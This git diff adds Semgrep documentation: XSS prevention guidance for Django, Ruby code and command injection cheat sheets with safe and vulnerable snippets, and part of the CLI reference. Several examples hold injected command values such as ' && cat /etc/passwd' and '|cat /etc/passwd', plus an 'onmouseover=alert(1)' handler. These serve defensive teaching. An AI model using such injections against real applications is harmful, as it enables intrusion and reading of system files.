+- [Custom filters and auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)
+
+
+#### Mitigation
+
+Do not mark filters with `is_safe=True`. Alternatively, prefer `mark_safe()` if necessary.
+
+#### Semgrep rule
+
+python.django.security.audit.xss.filter-with-is-safe
+
+
+
+### 1.D. Use of the **__html__** magic method in a class
+
+The `__html__` magic method is used by the Django template engine to determine whether the object should be escaped. If available, the value returned by the method will not be escaped and could introduce a XSS vulnerability.
+
+Example:
+
+```python
+class RawHtml(str):
+ def __html__(self):
+ return str(self)
+```
+
+#### References:
+
+- [`conditional_escape()` documentation](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.conditional_escape)
+- [`conditional_escape()` source code](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape)
+
+#### Mitigation
+
+Ban `__html__` in classes. Alternatively, prefer `mark_safe()` if necessary.
+
+#### Semgrep rule
+
+[`python.django.security.audit.xss.html-magic-method.html-magic-method`](https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method)
+
+
+### 1.E. Using **html_safe()**
+
+The `html_safe()` decorator adds the `__html__` magic method to the supplied class. The added `__html__` magic method returns the exact string representation of the class (for example `str(self)`). Because objects with the `__html__` method are not escaped, this could create a XSS vulnerability.
+
+Example:
+
+```python
+@html_safe
+class RawHtml(str):
+ pass
+```
+
+#### References:
+
+- [`html_safe()` documentation](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.html_safe)
+
+#### Mitigation:
+
+Ban `html_safe()`. Alternatively, prefer `mark_safe()` if necessary.
+
+#### Semgrep rule
+
+[`python.django.security.audit.xss.html-safe.html-safe`](https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe)
+
+## 2. Server code: Bypassing the template engine
+
+
+### 2.A. Directly writing a response using **HttpResponse** or similar classes
+
+
+Writing results directly to `HttpResponse` or similar classes bypasses the Django template engine. This also bypasses the HTML escaping built into the template engine and creates the possibility of a XSS vulnerability. Use `render()` with a template instead.
+
+Example:
+
+```python
+return HttpResponse("Hello, " + name)
+```
+
+#### References:
+
+- [Django Book - Security: XSS](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)
+- [Example of XSS via `HttpResponseBadRequest`](https://semgrep.dev/blog/2020/be-careful-what-you-request-for-django-method/)
+- [HttpResponse subclasses](https://docs.djangoproject.com/en/3.1/ref/request-response/#httpresponse-subclasses)
+
+
+#### Mitigation:
+
+Ban `HttpResponse` and similar classes. Alternatively, use `render()`.
+
+#### Semgrep rule
+
+[`python.django.security.audit.xss.direct-use-of-httpresponse`](https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse)
+
+### 2.B. Globally disabling autoescape
+
+Autoescaping can be globally disabled in Django settings. This should never be done if you are rendering HTML; now, every response returned to the user will need to be audited to ensure it is free of XSS vulnerabilities.
+
+Example:
+
+```python
+TEMPLATES = [
+ {
+ ...,
+ 'OPTIONS': {'autoescape': False}
+ }
+]
+```
+
+#### References:
+
+- [Django template settings documentation](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)
+
+#### Mitigation:
+
+Ban globally disabling autoescape. Alternatively, do not globally disable escaping. If HTML escaping is necessary, use `mark_safe()`.
+
+#### Semgrep rule
+
+[`python.django.security.audit.xss.global-autoescape-off.global-autoescape-off`](https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off)
+
+### 2.C. Setting **autoescape=False** in a template context
+
+
+Setting `autoescape=False` in a template context will disable HTML escaping for that template. Any data rendered in that template could be a XSS vulnerability.
+
+Example:
+
+```python
+response = render(request, "index.html", {"autoescape": False})
+```
+
+#### References:
+
+- [Context source code](https://github.com/django/django/blob/54ea290e5bbd19d87bd8dba807738eeeaf01a362/django/template/context.py#L135)
+- [`Template.render()` documentation](https://docs.djangoproject.com/en/3.1/ref/templates/api/#django.template.Template.render)
+- [`render_to_string()` documentation](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.loader.render_to_string)
+- [`render()` documentation](https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#django.shortcuts.render)
+
+
+#### Mitigation:
+description: "Ban `autoescape=False` in template contexts"
+alternative: "Use `mark_safe()` if necessary"
+rule: "python.django.security.audit.xss.context-autoescape-off.context-autoescape-off"
+
+
+## 3. Templates: unescaped variables
+
+### 3.A. Use of the **| safe** filter
+
+The `| safe` filter marks the content as "safe for rendering." This has the same effect as `mark_safe()` in Python code. This will permit direct rendering of HTML and create a possible XSS vulnerability.
+
+Example:
+
+```django
+{{ name | safe }}
+```
+
+#### References:
+
+- [`| safe` filter documentation](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safe)
+
+#### Mitigation:
+
+Ban `| safe`. Alternatively, use `mark_safe()` in Python if necessary.
+
+#### Semgrep rule
+
+[`python.flask.security.xss.audit.template-unescaped-with-safe.template-unescaped-with-safe`](https://semgrep.dev/r/python.flask.security.xss.audit.template-unescaped-with-safe.template-unescaped-with-safe)
+
+### 3.B. Use of the **| safeseq** filter
+
+The `| safeseq` filter marks the content as "safe for rendering." This has the same effect as `mark_safe()` in Python code. This will permit direct rendering of HTML and create a possible XSS vulnerability.
+
+Example:
+
+```django
+{{ names | safeseq | join:", " }}
+```
+
+#### References:
+
+- [`| safeseq` documentation](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq)
+
+#### Mitigation:
+
+"Ban `| safeseq`. Alternatively, use `mark_safe()` in Python if necessary.
+
+#### Semgrep rule
+
+[`python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq`](https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq)
+
+### 3.C. The **\{% autoescape off %\}** block
+
+The `{$ autoescape off %}` block disables autoescaping for whole portions of the template. Disabling autoescaping allows HTML characters to be rendered directly onto the page which could create XSS vulnerabilities.
+
+Example:
+
+```django
+{% autoescape off %}
+```
+
+#### References:
+
+- [`autoescape` block documentation](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#autoescape)
+
+#### Mitigation:
+
+Ban `{% autoescape off %}`. Alternatively, use `mark_safe()` in Python if necessary.
+
+#### Semgrep rule
+
+[`python.django.security.audit.xss.template-autoescape-off.template-autoescape-off`](https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off)
+
+
+## 4. Templates: Variable in dangerous location"
+
+### 4.A. Unquoted variable in HTML attribute
+
+Unquoted template variables rendered into HTML attributes is a potential XSS vector because an attacker could inject JavaScript handlers which do not require HTML characters. An example handler might look like: `onmouseover=alert(1)`. HTML escaping will not mitigate this. The variable must be quoted to avoid this.
+
+Example:
+
+```django
+
+```
+
+#### References:
+
+- [Flask cross-site scripting considerations](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)
+
+#### Mitigation:
+
+Flag unquoted HTML attributes with Jinja expressions. Alternatively, always use quotes around HTML attributes.
+
+#### Semgrep rule
+
+[`python.flask.security.xss.audit.template-unquoted-attribute-var.template-unquoted-attribute-var`](https://semgrep.dev/r/python.flask.security.xss.audit.template-unquoted-attribute-var.template-unquoted-attribute-var)
+
+### 4.B. Variable in **href** attribute
+
+Template variables in a `href` value could still accept the `javascript:` URI. This could be a XSS vulnerability. HTML escaping will not prevent this. Use `url_for` to generate links.
+
+Example:
+
+```django
+
+```
+
+#### References:
+
+- [Flask cross-site scripting considerations](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)
+
+#### Mitigation:
+
+Flag template variables in `href` attributes. Alternatively, use `url_for` to generate links.
+
+#### Semgrep rule
+
+[`python.django.security.audit.xss.template-href-var.template-href-var`](https://semgrep.dev/r/python.django.security.audit.xss.template-href-var.template-href-var)
+
+### 4.C. Variable in **<script>** block
+
+Template variables placed directly into JavaScript or similar are now directly in a code execution context. Normal HTML escaping will not prevent the possibility of code injection because code can be written without HTML characters. This creates the potential for XSS vulnerabilities, or worse.
+
+#### References:
+
+- [Template engines: Why default encoders are not enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)
+- [Safely including data for JavaScript in a Django template](https://adamj.eu/tech/2020/02/18/safely-including-data-for-javascript-in-a-django-template/)
+- [`json_script` documentation](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#json-script)
+
+Example:
+```django
+
+```
+
+#### Mitigation:
+
+Ban template variables in `
+```
+
+#### References
+- [Template engines: Why default encoders are not enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)
+- [Protecting against XSS in Rails - JavaScript contexts. (Relevant to all template engines.)](https://blog.ircmaxell.com/2018/06/protecting-rails-xss.html)
+
+#### Mitigation
+
+Ban template variables in `
+```
+
+#### References
+
+- [Template engines: Why default encoders are not enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)
+- [Protecting against XSS in Rails - JavaScript contexts. (Relevant to all template engines.)](https://blog.ircmaxell.com/2018/06/protecting-rails-xss.html)
+
+#### Mitigation
+
+Ban template variables in `
+```
+
+#### Mitigation
+
+Ban template variables in `
+```
+
+#### Mitigation
+
+Ban template variables in `
+```
+
+#### References
+
+- [Template engines: Why default encoders are not enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)
+- [Protecting against XSS in Rails - JavaScript contexts](https://blog.ircmaxell.com/2018/06/protecting-rails-xss.html)
+- [`escape_javascript` documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-escape_javascript)
+
+#### Mitigation
+
+Ban template variables in `<script>` blocks. Alternatively, If necessary, use the `escape_javascript` function or its alias, `j`. Review each usage carefully and exempt with `# nosem`.
+
+#### Semgrep rule
+
+[`ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag`](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag)
diff --git a/mintlify-docs/cheat-sheets/ruby-code-injection.mdx b/mintlify-docs/cheat-sheets/ruby-code-injection.mdx
new file mode 100644
index 0000000000..97f1cfad8e
--- /dev/null
+++ b/mintlify-docs/cheat-sheets/ruby-code-injection.mdx
@@ -0,0 +1,88 @@
+---
+title: "Prevent Code Injection for Ruby"
+sidebarTitle: "Code Injection for Ruby"
+---
+
+This is a code injection prevention cheat sheet by Semgrep, Inc. It contains code patterns of potential ways to run arbitrary code in an application. Instead of scrutinizing code for exploitable vulnerabilities, the recommendations in this cheat sheet pave a safe road for developers that mitigate the possibility of code injection in your code. By following these recommendations, you can be reasonably sure your code is free of code injection.
+
+Learn more about [Code Injection](/learn/vulnerabilities/code-injection) vulnerability concepts.
+
+### Check your project using Semgrep
+
+```bash
+semgrep --config auto .
+```
+
+## 1. Evaluating code
+
+### 1.A. Evaluating code with `eval`
+
+Evaluating code can be dangerous if dynamic content is used as input. If this input originates from outside of the program it can lead to a code injection vulnerability.
+
+Examples:
+
+```ruby
+# safe
+str = "hello"
+eval "str + ' Fred'"
+
+# vulnerable
+str = "hello"
+user_input = "system('cat /etc/passwd')" # Value supplied by user
+eval "str + #{user_input}"
+```
+
+```ruby
+class Thing
+end
+
+# safe
+Thing.module_eval(%q{def hello() "Hello there!" end})
+
+# vulnerable
+user_input = "system('cat /etc/passwd')" # Value supplied by user
+Thing.module_eval(%q{def hello() "#{user_input}" end})
+```
+
+#### References
+
+- [eval() documentation](https://www.rubydoc.info/stdlib/core/Kernel:eval)
+
+#### Mitigation
+
+- Don't use `eval()`, `class_eval()`, `module_eval()`, or `instance_eval()` if possible.
+- If you need to use `eval()`, `class_eval()`, `module_eval()`, or `instance_eval()` with non-literal values, ensure that executed content is not controllable by external sources.
+- If it's not possible, strip everything except alphanumeric characters from the input.
+
+#### Semgrep rule
+
+[`ruby.lang.security.no-eval.ruby-eval`](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)
+
+### 1.B. Evaluating code with RubyVM::InstructionSequence
+
+The `InstructionSequence` class represents compiled instructions for the Ruby Virtual Machine. See details in [RubyVM::InstructionSequence documentation](https://ruby-doc.org/core-2.6/RubyVM/InstructionSequence.html). The `RubyVM` class itself is **not** intended for regular users. As the `RubyVM` class enables compiling code it may insecurely interpret user input. Providing user input to this class or its methods can result in a code injection vulnerability.
+
+Example:
+
+```ruby
+# safe
+RubyVM::InstructionSequence.compile("a = 1 + 2")
+
+# vulnerable
+user_input = "system('cat /etc/passwd')" # Value supplied by user
+RubyVM::InstructionSequence.compile("a = 1 + #{user_input}")
+```
+
+#### References
+
+- [RubyVM documentation](https://ruby-doc.org/core-2.7.0/RubyVM.html)
+- [RubyVM::InstructionSequence documentation](https://ruby-doc.org/core-2.6/RubyVM/InstructionSequence.html)
+
+#### Mitigation
+
+- Don't use `RubyVM`, or `RubyVM::InstructionSequence` if possible.
+- If you need to use `RubyVM` or `RubyVM::InstructionSequence` with non-literal values or user input, ensure that inputs are from trusted sources.
+
+#### Semgrep rule
+
+[`ruby.lang.security.no-eval.ruby-eval`](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)
diff --git a/mintlify-docs/cheat-sheets/ruby-command-injection.mdx b/mintlify-docs/cheat-sheets/ruby-command-injection.mdx
new file mode 100644
index 0000000000..8a4bd9fa28
--- /dev/null
+++ b/mintlify-docs/cheat-sheets/ruby-command-injection.mdx
@@ -0,0 +1,314 @@
+---
+title: "Prevent Command Injection for Ruby"
+sidebarTitle: "Command Injection for Ruby"
+---
+
+This is a command injection prevention cheat sheet by Semgrep, Inc. It contains code patterns of potential ways to run an OS command in an application. Instead of scrutinizing code for exploitable vulnerabilities, the recommendations in this cheat sheet pave a safe road for developers that mitigate the possibility of command injection in your code. By following these recommendations, you can be reasonably sure your code is free of command injection.
+
+Learn more about [Command Injection](/learn/vulnerabilities/command-injection) vulnerability concepts.
+
+### Check your project using Semgrep
+
+```bash
+semgrep --config auto .
+```
+
+## 1. Running OS commands
+
+### 1.A. Open3 module
+
+`Open3` grants access to running processes when running another program. For more information, see [Ruby documentation](https://docs.ruby-lang.org/en/2.0.0/Open3.html). Such methods as `capture2`, `capture2e`, `capture3`, `popen2`, `popen2e`, `popen3`, `pipeline`, `pipeline_r`, `pipeline_rw`, `pipeline_start` and `pipeline_w` are intended for running commands provided as a string. Letting user supplied data in a command that is passed as an argument to one of these methods, can create an opportunity for a command injection vulnerability.
+
+Examples:
+
+```ruby
+require 'open3'
+
+# safe
+Open3.popen3("ls -la")
+
+# vulnerable
+user_input = " && cat /etc/passwd" # Value supplied by user
+Open3.popen3("ls #{user_input}")
+```
+
+```ruby
+require 'open3'
+
+# safe
+fname = "/usr/share/man/man1/ls.1.gz"
+Open3.pipeline(["zcat", fname], "nroff -man", "colcrt")
+
+# vulnerable
+user_input = " && cat /etc/passwd" # Value supplied by user
+Open3.pipeline("zcat #{user_input}", "nroff -man", "colcrt")
+```
+
+#### References
+
+- [`Open3`](https://docs.ruby-lang.org/en/2.0.0/Open3.html) documentation.
+
+#### Mitigation
+
+- Do not pass user input to `Open3` methods.
+- Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
+- Don't pass user-controlled input or use an allowlist for inputs.
+- Do not include command arguments in a command string, use parameterization instead. For example:
+
+ Instead of the following code:
+ ```ruby
+ Open3.pipeline(["bash", "-c", "myCommand myArg1 " + input_value])
+ ```
+
+ Use:
+ ```ruby
+ Open3.pipeline(["/path/to/myCommand", "myArg1", input_value])
+ ```
+- Define a list of allowed arguments.
+- Avoid non-literal values for the command string. Strip everything except alphanumeric characters from an input provided for the command string and arguments.
+
+#### Semgrep rule
+
+[`ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline`](https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline)
+
+### 1.B. open() function
+
+The `open(...)` function creates an input/output (I/O) object connected to a stream, file, or subprocess. If the first argument starts with a pipe character (`|`), it creates a subprocess. An opportunity for a command injection vulnerability is created when the subprocess includes user input in a command argument to `open()` function.
+
+Example:
+
+```ruby
+# safe
+open("my_file.txt")
+
+# vulnerable
+user_input = “|cat /etc/passwd” # Value supplied by user
+open(user_input)
+```
+
+#### References
+
+- [open](https://apidock.com/ruby/Kernel/open) documentation.
+
+#### Mitigation
+
+- Do not provide raw user input to the `open()` function.
+- Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
+- If the use of user input is unavoidable, create an allowlist for inputs, such as allowed command arguments.
+- Strip everything except alphanumeric characters from an input provided for the command string and arguments.
+
+#### Semgrep rule
+
+[`ruby.lang.security.dangerous-open.dangerous-open`](https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open)
+
+### 1.C. system() function
+
+The `system()` function executes OS commands in a subshell. This might potentially lead to a command injection vulnerability when used with user input. A malicious actor can potentially run OS commands to exploit the system.
+
+Example:
+
+```ruby
+# safe
+system("ls -lah /tmp")
+
+# vulnerable
+user_input = ' && cat /etc/passwd' # Value supplied by user
+system("ls #{user_input}")
+```
+
+#### References
+
+- [`system()` documentation](https://apidock.com/ruby/Kernel/system)
+
+#### Mitigation
+
+- Do not provide raw user input to the `system()` function.
+- Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
+- If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
+- Strip everything except alphanumeric characters from an input provided for the command string and arguments.
+
+#### Semgrep rule
+
+[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
+
+### 1.D. exec() function
+
+The `exec()` function executes OS commands. This might potentially lead to a command injection vulnerability when used with user input. A malicious actor can potentially run OS commands to exploit the system.
+
+Example:
+
+```ruby
+# safe
+exec("ls -lah /tmp")
+
+# vulnerable
+user_input = ' && cat /etc/passwd' # Value supplied by user
+exec("ls #{user_input}")
+```
+
+#### References
+
+- [`exec()` documentation](https://apidock.com/ruby/Kernel/exec)
+
+#### Mitigation
+
+- Do not provide raw user input to the `exec()` function.
+- Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
+- If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
+- Strip everything except alphanumeric characters from an input provided for the command string and arguments.
+
+#### Semgrep rule
+
+[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
+
+### 1.D. spawn() function
+
+The `spawn()` function executes OS commands. This might potentially lead to a command injection vulnerability when used with user input. A malicious actor can potentially run OS commands to exploit the system.
+
+Example:
+
+```ruby
+# safe
+pid = spawn("ls -lah /tmp")
+Process.wait pid
+
+# vulnerable
+user_input = ' && cat /etc/passwd' # Value supplied by user
+pid = spawn("ls #{user_input}")
+Process.wait pid
+```
+
+#### References
+
+- [`spawn()` documentation](https://apidock.com/ruby/Kernel/spawn)
+
+#### Mitigation
+
+- Do not provide raw user input to the `spawn()` function.
+- Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
+- If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
+- Strip everything except alphanumeric characters from an input provided for the command string and arguments.
+
+#### Semgrep rule
+
+[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
+
+### 1.E. Backticks (``) or %x[command] methods
+
+Backticks ``` `` ``` or `%x[command]` methods allow Ruby developers to execute system commands and return their outputs. Both methods accept string interpolation. As for other methods mentioned in this cheat sheet, when this method is used with user input, it can lead to a command injection vulnerability.
+
+Ruby interprets the text inside of backticks as an OS command. For example, ``` `ls -l` ``` interpreted by Ruby prints the contents of current working directory. In addition, if the `%x` is used with various delimiters, it is also interpreted as an OS command. The ``` `ls -l` ``` in Ruby is equivalent to the following:
+
+- `` %x`ls -l` ``
+- `` %x;ls -l; ``
+- `` %x(ls -l) ``
+- `` %x"ls -l" ``
+- `` %x{ls -l} ``
+- `` %x:ls -l: ``
+- `` %x'ls -l' ``
+- `` %x[ls -l] ``
+
+Example:
+
+```ruby
+# safe
+`ls -lah /tmp`
+
+%x[ ls -lah /tmp ]
+%x{ ls -lah /tmp }
+
+# vulnerable
+user_input = ' && cat /etc/passwd' # Value supplied by user
+`ls #{user_input}`
+
+%x{ls #{user_input}}
+```
+
+#### References
+
+- Ruby [Kernel](https://ruby-doc.org/3.2.1/Kernel.html) documentation.
+- Ruby [command injection](https://ruby-doc.org/3.2.1/command_injection_rdoc.html) documentation.
+
+#### Mitigation
+
+- Do not provide raw user input to ``` `` ``` or `%x` methods.
+- Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
+- If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
+- Strip everything except alphanumeric characters from an input provided for the command string and arguments.
+
+#### Semgrep rule
+
+[`ruby.lang.security.dangerous-subshell.dangerous-subshell`](https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell)
+
+### 1.F. Process.spawn and Process.exec methods
+
+The `spawn` and `exec` methods execute a system command and return its output. Both methods accept string interpolation. Similarly to other methods mentioned in this cheat sheet, when either of these methods is used with user input, it can lead to command injection vulnerability.
+
+https://ruby-doc.org/3.2.1/Process.html
+
+Example:
+
+```ruby
+# safe
+Process.spawn("ls -alh")
+Process.spawn("ls", "-alh")
+Process.spawn(["ls", "-alh"])
+
+# vulnerable
+user_input = ' && cat /etc/passwd' # Value supplied by user
+Process.spawn("ls #{user_input}")
+
+# safe
+Process.exec("ls -alh")
+Process.exec("ls", "-alh")
+Process.exec(["ls", "-alh"])
+
+# vulnerable
+user_input = ' && cat /etc/passwd' # Value supplied by user
+Process.exec("ls #{user_input}")
+```
+
+#### References
+
+- [Process](https://ruby-doc.org/3.2.1/Process.html) documentation.
+
+#### Mitigation
+
+- Do not provide raw user input to `Process.spawn` and `Process.exec` methods.
+- Always try to use internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
+- If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
+- Strip everything except alphanumeric characters from an input provided for the command string and arguments.
+
+#### Semgrep rule
+
+[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
+
+### 1.F. PTY.spawn method
+
+The `PTY.spawn` method executes OS commands in a new terminal. This might potentially lead to a command injection vulnerability when used with user input. A malicious actor can potentially run OS commands to exploit the system.
+
+Example:
+
+```ruby
+# safe
+stdout,stdin,pid = PTY.spawn("ls -lah")
+
+# vulnerable
+user_input = ' && cat /etc/passwd' # Value supplied by user
+stdout,stdin,pid = PTY.spawn("ls #{user_input}")
+```
+
+#### References
+
+- [PTY](https://ruby-doc.org/3.2.1/exts/pty/PTY.html) library documentation.
+
+#### Mitigation
+
+- Do not provide raw user input to `PTY.spawn` methods.
+- Always try to use the internal Ruby API (if it exists) instead of running an OS command. Use internal language features instead of invoking commands that can be exploited.
+- If the use of user input is unavoidable, create an allowlist for inputs, such as allowed arguments.
+- Strip everything except alphanumeric characters from an input provided for the command string and arguments.
+
+#### Semgrep rule
+
+[`ruby.lang.security.dangerous-exec.dangerous-exec`](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)
\ No newline at end of file
diff --git a/mintlify-docs/cli-reference.mdx b/mintlify-docs/cli-reference.mdx
new file mode 100644
index 0000000000..dad48c1c7d
--- /dev/null
+++ b/mintlify-docs/cli-reference.mdx
@@ -0,0 +1,1302 @@
+---
+title: "CLI reference"
+sidebarTitle: "CLI reference"
+---
+
+This document provides the outputs of the following [Semgrep CLI](https://github.com/semgrep/semgrep) tool commands:
+
+- `semgrep --help`
+- `semgrep scan --help`
+- `semgrep ci --help`
+
+In addition, this page also gives an overview of the Semgrep CLI exit codes.
+
+## Semgrep commands
+
+For a list of available commands, run the following command:
+
+```bash
+semgrep --help
+```
+
+Command output:
+
+```bash expandable
+Usage: semgrep [OPTIONS] COMMAND [ARGS]...
+
+ To get started quickly, run `semgrep scan --config auto`
+
+ Run `semgrep SUBCOMMAND --help` for more information on each subcommand
+
+ If no subcommand is passed, will run `scan` subcommand by default
+
+Options:
+ -h, --help Show this message and exit.
+
+Commands:
+ ci Run Semgrep on a git diff (for use in CI)
+ install-semgrep-pro Install the Semgrep Pro Engine
+ login Obtain and save credentials for semgrep.dev
+ logout Remove locally stored credentials to semgrep.dev
+ lsp Start the Semgrep LSP server (useful for IDEs)
+ publish Upload rule to semgrep.dev
+ scan Run Semgrep rules on local folders or files
+ show Show various types of information
+ test Test the rules (EXPERIMENTAL improvements over scan --test)
+ validate Validate the rules (EXPERIMENTAL improvements over scan --validate)
+ mcp Start the Semgrep MCP server
+```
+
+## `semgrep ci` and `semgrep scan` command options
+
+You can invoke Semgrep using the CLI with either `semgrep ci` or `semgrep scan`.
+
+
+
+The `semgrep scan` command is primarily used for local scans and is suitable if you want to scan your codebase for security issues without requiring a Semgrep account. You can run scans using specific rules or rulesets. For example, to use the default ruleset, the command would be `semgrep scan --config "p/default"`. By default, these scans don't return failing error codes on findings for further handling.
+
+The `semgrep ci` command is primarily used in CI pipelines for both full scans of codebases, as well as diff-aware scans that are initiated in the context of a pull request or a merge request. With `semgrep ci`, Semgrep uses the policies and rules defined by your organization. It also uses cross-file (interfile) and cross-function (intrafile) analysis for improved results. By default, these scans return failing error codes on findings for further handling.
+
+
+
+You can list all available `semgrep ci` or `semgrep scan` options by running `semgrep ci --help` or `semgrep scan --help`, respectively. The available options are also listed below; **select the tab that best fits the command that you're using.**
+
+
+
+```bash expandable
+NAME
+ semgrep scan - run semgrep rules on files
+
+SYNOPSIS
+ semgrep scan [OPTION]… [TARGETS]…
+
+DESCRIPTION
+ Searches TARGET paths for matches to rules or patterns. Defaults to
+ searching entire current working directory.
+
+ To get started quickly, run
+
+ semgrep --config auto .
+
+ This will automatically fetch rules for your project from the Semgrep
+ Registry. NOTE: Using `--config auto` will log in to the Semgrep
+ Registry with your project URL.
+
+ For more information about Semgrep, go to https://semgrep.dev.
+
+ NOTE: By default, Semgrep will report pseudonymous usage metrics to
+ its server if you pull your configuration from the Semgrep registry.
+ To learn more about how and why these metrics are collected, please
+ see https://semgrep.dev/metrics. To modify this behavior, see the
+ --metrics option below.
+
+ARGUMENTS
+ TARGETS
+ Files or folders to be scanned by semgrep.
+
+OPTIONS
+ -a, --autofix
+ Apply autofix patches. WARNING: data loss can occur with this
+ flag. Make sure your files are stored in a version control system.
+ Note that this mode is experimental and not guaranteed to function
+ properly.
+
+ --allow-local-builds
+ Experimental: allow building projects contained in the repository.
+ This allows Semgrep to identify dependencies and dependency
+ relationships when lockfiles are not present or are insufficient.
+ However, building code may inherently require the execution of
+ code contained in the scanned project or in its dependencies,
+ which is a security risk.
+
+ --allow-untrusted-validators
+ Allows running rules with validators from origins other than
+ semgrep.dev. Avoid running rules from origins you don't trust.
+
+ --baseline-commit=VAL (absent SEMGREP_BASELINE_COMMIT env)
+ Only show results that are not found in this commit hash. Aborts
+ run if not currently in a git directory, there are unstaged
+ changes, or given baseline hash doesn't exist.
+
+ -d, --dump-command-for-core
+
+
+ --dataflow-traces
+ Explain how non-local values reach the location of a finding (only
+ affects text and SARIF output).
+
+ --disable-nosem
+ negates --enable-nosem
+
+ --disable-version-check
+ negates --enable-version-check
+
+ --dryrun
+ If --dryrun, does not write autofixes to a file. This will print
+ the changes to the console. This lets you see the changes before
+ you commit to them. Only works with the --autofix flag. Otherwise
+ does nothing.
+
+ --dump-ast
+ If --dump-ast, shows AST of the input file or passed expression
+ and then exit (can use --json).
+
+ --dump-engine-path
+
+
+ -e VAL, --pattern=VAL
+ Code search pattern. See
+ https://semgrep.dev/writing-rules/pattern-syntax for
+ information on pattern features.
+
+ --emacs
+ Output results in Emacs single-line format.
+
+ --emacs-output=VAL
+ Write a copy of the emacs output to a file or post to URL.
+
+ --enable-nosem
+ Enables 'nosem'. Findings will not be reported on lines containing
+ a 'nosem' comment at the end. Enabled by default.
+
+ --enable-version-check (absent SEMGREP_ENABLE_VERSION_CHECK env)
+ Checks Semgrep servers to see if the latest version is run;
+ disabling this may reduce exit time after returning results.
+
+ --error
+ Exit 1 if there are findings. Useful for CI and scripts.
+
+ --exclude=PATTERN
+ Skip any file or directory whose path that matches PATTERN.
+ '--exclude=*.py' will ignore the following: 'foo.py',
+ 'src/foo.py', 'foo.py/bar.sh'. '--exclude=tests' will ignore
+ 'tests/foo.py' as well as 'a/b/tests/c/foo.py'. Multiple
+ '--exclude' options may be specified. PATTERN is a glob-style
+ pattern that uses the same syntax as gitignore and semgrepignore,
+ which is documented at
+ https://git-scm.com/gitignore#_pattern_format
+
+ --exclude-minified-files
+ Skip minified files. These are files that are < 7% whitespace, or
+ which have an average of > 1000 bytes per line. By default
+ minified files are scanned.
+
+ --exclude-rule=VAL
+ Skip any rule with the given id. Can add multiple times.
+
+ -f VAL, -c VAL, --config=VAL (absent SEMGREP_RULES env)
+ YAML configuration file, directory of YAML files ending in
+ .yml|.yaml, URL of a configuration file, or Semgrep registry entry
+ name. Use --config auto to automatically obtain rules tailored to
+ this project; your project URL will be used to log in to the
+ Semgrep registry. To run multiple rule files simultaneously, use
+ --config before every YAML, URL, or Semgrep registry entry name.
+ For example `semgrep --config p/python --config
+ myrules/myrule.yaml` See
+ https://semgrep.dev/writing-rules/rule-syntax for information
+ on configuration file format.
+
+ --files-with-matches
+ Output only the names of files containing matches. REQUIRES
+ --experimental
+
+ --force-color (absent SEMGREP_FORCE_COLOR env)
